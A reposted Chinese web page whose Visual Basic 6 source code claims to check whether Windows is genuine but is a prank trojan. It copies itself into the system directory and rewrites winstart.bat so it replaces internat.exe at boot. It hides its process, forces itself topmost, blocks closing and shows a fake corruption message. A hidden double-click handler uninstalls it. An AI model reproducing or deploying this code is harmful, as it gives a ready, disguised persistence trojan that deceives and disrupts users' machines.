辨斷你的windows是正版還是盜版

''''''''''''''''''''''''''''''''''''''''''''''''''''
'   本程序僅供參考，如造成任何損失本人不負責任。   '
'   oicq:102490                                    '
'   e-mail:skydg@21cn.com                          '
'   http://skydg.yeah.net                          '
''''''''''''''''''''''''''''''''''''''''''''''''''''

Option Explicit

'進程控制
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0

'退出Windows
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&

'窗體總在最前
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Const HWND_TOPMOST = -1

'連接
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1
Const URL = "http://www.microsoft.com"

'查找系統目錄
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const MAX_PATH = 260

Dim ExitButton As Boolean

'取得windows目錄
Function GetWinPath()
Dim strFolder As String
Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetWinPath = ""
    End If
End Function

'取得system目錄
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

'文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

'隱藏進程
Public Sub RemoveProgramFromList()
    Dim lngProcessID As Long
    Dim lngReturn As Long
    Dim pid As Long
    lngProcessID = GetCurrentProcessId()
    lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

'打開瀏覽器
Public Sub gotoweb()
    Dim Suclearcase/" target="_blank" >ccess As Long
    Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
End Sub

'連入網站
Private Sub cmdBuy_Click()
    gotoweb
End Sub

'重新啟動
Private Sub cmdReset_Click()
   Dim lresult
   lresult = ExitWindowsEx(EWX_REBOOT, 0&)
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
    Path = App.Path
    If Right(Path, 1) <> "\" Then Path = Path & "\"
    If App.PrevInstance Then End
    If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
        '備份internat.exe文件
        SourceFile = GetSystemPath & "\internat.exe"
        DestinationFile = GetSystemPath & "\intarnet.dll.exe"
        FileCopy SourceFile, DestinationFile
        '復制自己
        SourceFile = Path & App.EXEName & ".EXE"
        DestinationFile = GetSystemPath & "\so.dll.exe"
        FileCopy SourceFile, DestinationFile
        '改寫winstart.bat文件
        Open GetWinPath & "\winstart.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
        Print #1, "del " & GetWinPath & "\winstart.bat"
        Close #1
    End If
    '檢查文件是否在系統目錄執行
    If App.Path <> GetSystemPath Then
        MsgBox "程序代碼不完整或系統出現錯誤，文件已被破壞。", vbInformation
        End
    End If
    RemoveProgramFromList
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
    Shell (GetSystemPath & "\intarnet.dll.exe")
End Sub

Private Sub Form_Resize()
    '程序被最小化時返回初始狀態
    If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
    '禁止程序退出
    If Not ExitButton Then Cancel = True
End Sub

'刪除程序
Private Sub lblUninstall_DblClick()
    Open GetWinPath & "\winstart.bat" For Append As #1
    Print #1, "@echo off"
    Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
    Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
    Print #1, "del " & GetSystemPath & "\so.dll.exe"
    Print #1, "del " & GetWinPath & "\winstart.bat"
    Close #1
    MsgBox "您使用的系統可能是正版。:-)", vbInformation
    End
End Sub

原文轉自：http://www.anti-gravitydesign.com